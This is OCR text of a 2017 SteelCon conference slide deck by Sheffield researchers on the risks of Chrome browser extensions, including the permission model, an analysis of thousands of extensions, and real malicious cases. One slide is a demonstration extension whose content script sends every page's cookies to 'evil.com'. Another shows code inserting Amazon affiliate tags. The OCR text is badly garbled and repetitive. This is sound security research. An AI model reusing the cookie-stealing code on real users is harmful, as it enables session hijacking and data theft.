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Software Assurance & Security Research On the one hand, browser extensions, e.g., for Chrome, are very useful, as they extend web
Department of Computer Science, The University of Sheffield, Sheffield, UK browsers with additional functionality (e.g., blocking ads). On the other hand, they are the most
https://108ICeREE R dangerous code that runs in your browsers: extension can read and modify both the content
SteelCon 2017 displayed in the browser. As they also can communicate with any web-site or web-service, they
July 8, 2017 Sheffield, UK can report both data and metadata to external parties.
The current security model for browser extensions seems to be inadequate for expressing the
security or privacy needs of browser users. Consequently, browser extensions are a "juice target'
for attackers targeting web users.
We present results of analysing over 2500 browser extensions on how they use the current
security model and discuss examples of extensions that are potentially of high risk. Based on the
results of our analysis of real world browser extensions as well as our own threat model, we
discuss the limitations of the current security model form a user perspective. need of browser
users.
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Browsers are the new operating systems Browsers are the new operating systems

Google Chrome

Please close all Google Chrome windows and try again.

(© 2017 LogicalHacking.com. Public (CC BY-NC-ND 4.0) Page 5 of 31 (© 2017 LogicalHacking.com. Public (CC BY-NC-ND 4.0) Page 5 of 31

Browsers are the new operating systems Browsers are the new operating systems

(© 2017 LogicalHacking.com. Public (CC BY-NC-ND 4.0) Page 5 of 31 (© 2017 LogicalHacking.com. Public (CC BY-NC-ND 4.0) Page 5 of 31




Browsers are the new operating systems Browsers are the new operating systems

(© 2017 LogicalHacking.com. Public (CC BY-NC-ND 4.0) Page 5 of 31 (© 2017 LogicalHacking.com. Public (CC BY-NC-ND 4.0) Page 5 of 31

Browsers are the new operating systems Protecting Web Users

E C.E.B. BERLIN
CEB.BERUN 10230

= HttpOnly
* Same-origin policy
= Content Security Policy (CSP)
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Security of web browsers

= The major browser vendors
= take security seriously

= investing a lot in making web browsers
secure and trustworthy
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Security of web browsers

The major browser vendors

= take security seriously
= investing a lot in making web browsers
secure and trustworthy

\We have a good basis for secure web
applications,
until we add extensions:

= can extend/modify the browser

= anybody can write/offer them
= might tear down the defence from inside
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Outline Browser extensions

= Add-ons extending your browser
= Google says:

= small software programs
= little to no user interface What are extensions?

Il Motivation
B \What are extensions: user perspective

B \What are extensions: developer perspective

B Little shop of horrors ‘
How do | start?

Il Outlook

Featured videos
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Browser extensions Browser extensions

* Add-ons extending your browser o s e -G

= Google says: o

mal Crossing Music - - s_mall software programs

e = little to no user interface
= What we find:

= complex and large programs
= sophisticated user interfaces

* Add-ons extending your browser ot s - -G
= Google says:

= small software programs
= little to no user interface

Animal Crossing Music
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Browser extensions

Let’s search for a simple calculator

Chrome Web Store - Extensions - Chromium
& Chrome Web Store - ¢ x

& > C [ @ hups/ichrome.google.com

= Add-ons extending
= Google says:

= small software programs
= little to no user interface s

= \What we find: ovaven evews sopvonr e
[ onions ]

» complex and large programs . ' Themes

» sophisticated user interfaces s ® e Nimbus Clippe
n 5 1 Clip everything to Nimbus Note

= What extension can do:
= modify the user interface

abrucker@sheffieldacuk +

£ chrome web store

Animal Crossing Music

(how your browser behaves)

= modify web pages
(what you see)

= modify web request

(what you enter)

®© 2017 LogicalHacking.com.

Public (CC BY-NC-ND 4.0)

search for a simple calcu

& Chrome Web Store -© x
€ > C | @ hps//chrome.google.com
£ chrome web store
catculator]

Apps

Games

Themes

Runs Offne
By Google

Free

Avalable for Android

Works with Google Drive
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Chrome Web Store - Extensions - Chromium
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Runs Offine
By Google

Free

Available for Android

Works vith Google Drive.
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Let’s search for a simple calculator

Chrome Web Store - calculator - Chromium

& Chrome Web Store -« x

<«

© 2017 LogicalHacking.com.

C | @ https://chrome.google.com/

£ chrome web store

N CloudY
CalculatoR

Apps
© Extensions

Themes.

Runs Offine
By Google

Free

Avsilable for Android

Works with Google Drive.

Cloudy Calculator

bwrobinet

Calculator

calcchromedey

DPI Calculator

offered by wwnw.

Amazon FBA Calculator Automated Version

offered by amazonfbacalculatorchromeextension.
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simple calculator

Let’s search for a simple calculator Let’s search for a

Calculator - Chrome Web Store - Chromim Caleulator - Chrome Web Store - Chromkn
& Calaator - hrome W x & Calcutor - Chrome W x
€ c https://chrome.google.com < C | @ hitps://chrome.google.com
—— s Add "Calculator"?
@ - Calculator + AvDTOCHROME | @ - Calculator o
o Read and change all your dataon the
skowkox 000 | Broducy sk oo | Procuct e o
overviEw Reviews RELATED overview Reviews e vossme

al 2l

patible with
Abeautiful scientific calculator Abeautiful scentific calculator
Inspired by the iPhone calculator! Inspired by the IPhone calculator!

One lick and the calculat

.

e with your fiends - give it
Pl

© Report Abuse

‘Additional Information

© Report Abuse

Additional Information
2 a3
W Juy 13, 2016
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Let’s search for a simple calculator Malicious

Calculator - Chrome Web Store - Chromium

& Calculator - Chrome Vi x
coa

Sl o : g —— * Web of Trust (WoT) logged all web

Add "Calculator"? — |
@ - Calculator Rde i requests

Fokkd (330) | Productivty

OVERVIEW REVIEWS.

Nackt im Netz: Millionen Nutzer
) Compaibie win ausgespéaht

Abeautiful scientific calculator
Inspired by the iPhone calculator!

Get this extension to heve fast access to o
« [rpe—

ABRNEREN NOMTRELEN
@ e
f Tt

NetwellBeirge per RSS

Please shar this with
Plus1

© Report Abuse -
‘Additional Information o

Updsea 13,205
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Malicious extensions are a real threat (1/2) Malicious extensions are a real threat (1/2)

3

= Web of Trust (WoT) logged all web :
requests NDR e s

= and sold the data to third parties

= Web of Trust (WoT) logged all web
requests

= and sold the data to third parties

Nachrichten

Nackt im Netz: Millionen Nutzer

Nackt im Netz: Millionen Nutzer
ausgespaht

! = A German TV station bought the data
ausgespéht

prvm—
79

Netzwelt Beitrage per RSS
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Malicious Malicious extensions are a real threat (1/2)

: Web of Trust (WoT) logged all web : Web of Trust (WoT) logged all web
N'EB“HMM“ Nactrichten o} req uests NI?,,B_EL Nachrichten req u ests

and sold the data to third parties and sold the data to third parties
I

Nackt im Netz: Millionen Nutzer Newe A German TV station bought the data Nackt im Netz: Millionen Nutzer neawe A German TV station bought the data
ausgespaht ausgespéaht

= m * “de-anonymized” it ‘de-anonymized” it
A and found critical data, e.g.
= tax declaration of a member of the
German parliament
,",?fj.";“““““ * details about international search
eateknpil warrants

NetzweltBeilige
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Malicious extensions are a real threat (2/2 ous extensions are a real threat (2/2)

B Adware Replaces Ph

<« C {t | & Secure www bleepingcomputer.com/ne

Adware Replaces Phone Numbers for Security Firms Returned in
Search Results

By Catalin Cimpanu
it raz)

A new adware family named Crusader will rewrite tech support phone numbers returned in Google
search results, display ads, and show popups pushing tech support scams.

Current versions of Crusaders are installed on victims' computers via software bundles. Users
usually download a free application, whose installer also adds Crusader.

The adware takes the form of a Chrome extension, Firefox add-on, and Internet Explorer Browser
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Malicious extensions are a real threat Malicious extensions are a real threat (2/2)

e (G hitps google.coin/#q=dell- supportnumb

Go gle dell support number

deos ore ools NEWS  Febrary 23,2017 @9:00AM
=2y Browser Bully? Malicious Google Chrome
T —— Extension Pushes User Buttons

« - 3 Chrome dominates the desktop web

Dell . was an American pi [

8622009987 SRRl 4 Now Tap e e
company based in Round R« percent of users opting for Google's
United States, that develope =z,
repaired, and supported cor 2 internet environment. But big numbers
related products and service B
Customer service: 1800 42
Technical support: 1800 4:

Contact Dell Support | Dell US Headquarters: Round Rock

W dell.com » Support » Contact Information + United States

Find Dell Support channels ike email, chat, and telephone numbers for your Dell computer. CEO: Michadt S, Dol (31 44
Revenue: 54.9 bilion USD (

Founder: Michael S. Dell
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webr.space says:

Add Extension to Leave

Cancel

Forced into installing a Chrome =y Forced into installing a Chrome
extension L § extension

Posted: November 29, 2016 by Pieter Arntz

Posted: November 29, 2016 by Pieter Amiz
Last updated: November 28, 2016

Last updated: November 28, 2016

™ i-‘?"} pﬁ W.”‘ . i
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webr.space says: webr.space says:

Add Extension to Leave Add Extension to Leave
webr.space says: webr space says:

Add Extension to Leave

Cancel a C h rO m e ; y X webr.space says:
i Add Extension to Leave

Add Extension to Leave

Posted: November 29, 2016 by Pieter Amtz
Last updated: November 28, 2016

Last updated: November 28, 2016
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Malicious extensions are a real threat (2/2)

webr.space says:

Add Extension to Leave

webr.space says:

Ad nsion to Leave

webr.space says:

Add Extension to Leave

webr.space says:

Add Extension to Leave

Last updal
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B Little shop of horrors

Il Outlook
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Malicious extensions are a real threat (2/2)

webr.space says:
Add Extension to Leave
webr.space says:
Add Extension to Leave
webr.space says:
Add Extension to Leave
webr.space says:

ol L xtension to Leave
Last upda
webr.space says:

Add Extension to Leave

J § []
it
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The architecture of browser extensions

Extension
- Permissions
P

Web Browser

Operating System

—

(e ) () (e )
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Security mechanism: Permissions

Background Scripts Content Scripts
Two-dimensional permission system: Black and white: either injecting script, or
= functional permissions: tabs, not
bookmarks, webRequest,
desktopCapture, ...
host permissions:
https.//*.google.com,
http://www.facebook.com,
but also <all_urls> and https:/*/*
Host permissions restrict effect of some
functional permissions
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Chrome Web Store

= available in the = Main way of distributing extensions
| chrome web store = \We monitor 125k “additional Chrome features”

(ca. 10% got removed during last 5 months)

Wide variety of categories:
productivity  32.29%
fun  15.86%
communication  12.64%
accessibility  10.05%
web_development  9.95%
search_tools 5.87%
shopping  4.83%
news 3.51%
photos 2.10%
blogging 1.86%
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Outline

Il Motivation

B \What are extensions: user perspective

B \What are extensions: developer perspective
B Little shop of horrors

Il Outlook
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Download numbers
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Extensions are big Case one: Read all your history

Permission: tabs or <all_urls>, or Add "Calculator"?

content script on all sites

Needed for many simple extensions t can:

Can monitor your Comp[ete history' ® Read and change all your data on the websites
incl. full urls that you visit

# Extensions
# Extensions

Cancel Add extension

<10kB  10kB - 100kB 100kB - IMB 1MB - 10MB  >10MB 100-1000 1000-10k 10k-100k  >100k
JavaScript LoC

Extension Size
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Case two: Read and write all data on your websites

Case one: Read all your history

Add "Calculator"? Permission: <all_urls>, or content script Add "Calculator"?

on all sites
Minimum Llevel of permissions for t can:

many extensions ¢ Read and change all your data on the websites
that you visit

Permission: tabs or <all_urls>, or
content script on all sites

Needed for many simple extensions tcan
Can monitor your complete history, ® Read and change all your data on the websites
- thatyouvisit ' Gives full access to the web site

incl. full urls

o/ H
57% of 80.000 extensions Cancel Add extension Cancel Add extension
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Case two: Read and write all data on your websites Case three: Circumvent security measures

Permission: <all_urls> and webRequest

Permission: <all_urls>, or content script Add culator Can intercept and change all HTTP
on all sites headers!

Minimum Llevel of permissions for Disable Content-Security-Policy,
many extensions ites Same-origin Policy, etc.

Gives full access to the web site | at you visi | Breaks security guarantees of web

36% of 80.000 extensions - — browsers! -
Cancel Cancel

(© 2017 LogicalHacking.com. Public (CC BY-NC-ND 4.0) Page 21 of 31 (© 2017 LogicalHacking.com. Public (CC BY-NC-ND 4.0) Page 22 of 31

Case three: Circumvent security measures It’s that easy...

michael@x1l 1s
content_script.js manifest.json
michael@xl vim manifest.json
michael@Xl 1s
content_script.js manifest.json

Permission: <all_urls> and webRequest . ' oichaslext cat manifest.json
Can intercept and change all HTTP ul: it et Extenaions, ontezgoosle con/service/updatez/erxt,

] "version": "0.1"
headers! "manifest_version": 2

"description”: "This test extension steals all your cookies.",

Disable Content-Security-Policy, "content_scripts®: [
Same-origin Policy, etc. ge all y { "all_frames': true,

"Js": ["content_script.js"],

Breaks security guarantees of web ‘ e | "matches®: [*<all_urls="],

"run_at": "document_start"
browsers! } - -
X Cancel n 1

9% of 80.000 extensions )
michael@Xl cat content_script.js
var httpRequest = new XMLHttpRequest();
httpRequest.open('GET', 'https://evil.com/?cookies=' + document.cookie);
httpRequest.send();
michael@xl [ ]
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Monetization example: Amazon tags Outline

window.addEventListener ("load", function() {
fvdSpeedDial .Utils.Opener.addModificator (function (url) {
try { . .
var parsedUrl = fvdSpeedDial.Utils.parseUrl (url); . Motivation
var host = parsedUrl.host.toLowerCase();
var path = parsedUrl.path.toLowerCase();
host = host.replace (/~www\./, ""); B \What are extensions: user perspective
if
&& path.index0f ("?tag
&& path.indexO0f ("& : . :
fop Qoo pEE @6 Comeneg) 4 B \What are extensions: developer perspective
var regExp = new RegExp("amazon\\." + zone.replace(".",
if (regExp.test(host)) { :
var modifiedUrl = addTagToUrl(url, domainTags[zonel); B Little shop of horrors
return modifiedUrl

B Outlook
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again? How can we make web browsing great® again?
= Integrity:

: ' @m‘
= content modifications

9 ° = layout modifications
/ Confidentiality:

= data storage

» transmitted data
Privacy:

» access to sensors

= personal identifiers

" great - ensuring the security. integrity, and privacy of the user of a web browser great - ensuring the security, integrity. and privacy of the user of a web browser
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Outlook: On the long term

= Sandboxing of extensions

= A different permission model
= granularity?
= dynamic vs static?

= Better explanation for users

= Better analysis/test tools for extensions
Expect updates from us in the future ...
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Outlook: On the short term (1/2)

Governance

Frequent updates
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Outlook: On the short term (1/2)

Frequent updates
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Outlook: On the short term (2/2)

Check the vendor of the extension
carefully

Check the permissions (i.e., active
domains)

Use browser profiles
Be aware of the risk
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Thank you for your attention!
Any questions or remarks?

Contact: Dr. Achim D. Brucker and Michael Herzberg

Department of Computer Science
University of Sheffield

Regent Court

211 Portobello St.

Sheffield S14DP, UK

B {a.brucker, msherzberg
https://logicalhacking.com/blog/
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